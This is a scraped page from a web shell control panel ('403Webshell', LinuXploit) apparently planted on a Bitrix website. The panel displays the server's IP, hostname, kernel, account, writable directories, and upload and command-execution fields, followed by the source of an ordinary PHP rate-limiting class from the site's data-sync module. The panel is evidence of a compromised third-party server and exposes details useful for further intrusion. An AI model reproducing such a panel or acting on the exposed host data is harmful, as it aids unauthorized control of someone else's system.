403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sproduction.datasync/lib/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sproduction.datasync/lib/restlimits.php
<?php
namespace SProduction\Datasync;

use Bitrix\Main\Config\Option;

class RestLimits {

	/**
	 * Limits control
	 */
	public static function control($repeat=0) {
		// Waiting for end of executions
		$last_exec_time = self::getLastExecTime();
		$current_exec_time = (int)microtime(true);
		if ($current_exec_time < $last_exec_time) {
			$wait_time = $last_exec_time - $current_exec_time;
			$wait_time = $wait_time * 1000000 + 500000;
			FileLog::put('(RestLimits::control) wait ' . $wait_time);
			usleep($wait_time);
			if ($repeat < 10) {
				self::control(++$repeat);
			}
			else {
				$count_exec = self::getCountExec();
				self::setCountExec(++$count_exec);
			}
		}
		else {
			$delay = 0;
			// Update limits
			$count_exec = self::getCountExec();
			$diff_time = $current_exec_time - $last_exec_time;
			$count_exec -= $diff_time * 2;
			$count_exec = max($count_exec, 0);
			$count_exec ++;
			// Calc delay
			if ($count_exec > 30) {
				$diff_time = 1;
				$delay += $diff_time * 1000000;
				$current_exec_time += $diff_time;
				$count_exec -= $diff_time * 1;
			}
			// Save values
			self::setLastExec($current_exec_time);
			self::setCountExec($count_exec);
			// Delay
			if ($delay) {
				FileLog::put('(RestLimits::control) delay ' . $delay);
				usleep($delay);
			}
		}
	}

	public static function setLastExec($value) {
		Option::set('main', 'rest_last_exec', $value);
	}

	public static function getLastExecTime() {
		return (float) Option::get('main', 'rest_last_exec');
	}

	public static function setCountExec($value) {
		Option::set('main', 'rest_count_exec', $value);
	}

	public static function getCountExec() {
		return (float) Option::get('main', 'rest_count_exec');
	}

	public static function processQueryLimitError() {
		FileLog::put('(RestLimits::processQueryLimitError)');
		self::setCountExec(50);
		self::setLastExec(microtime(true) + 3);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit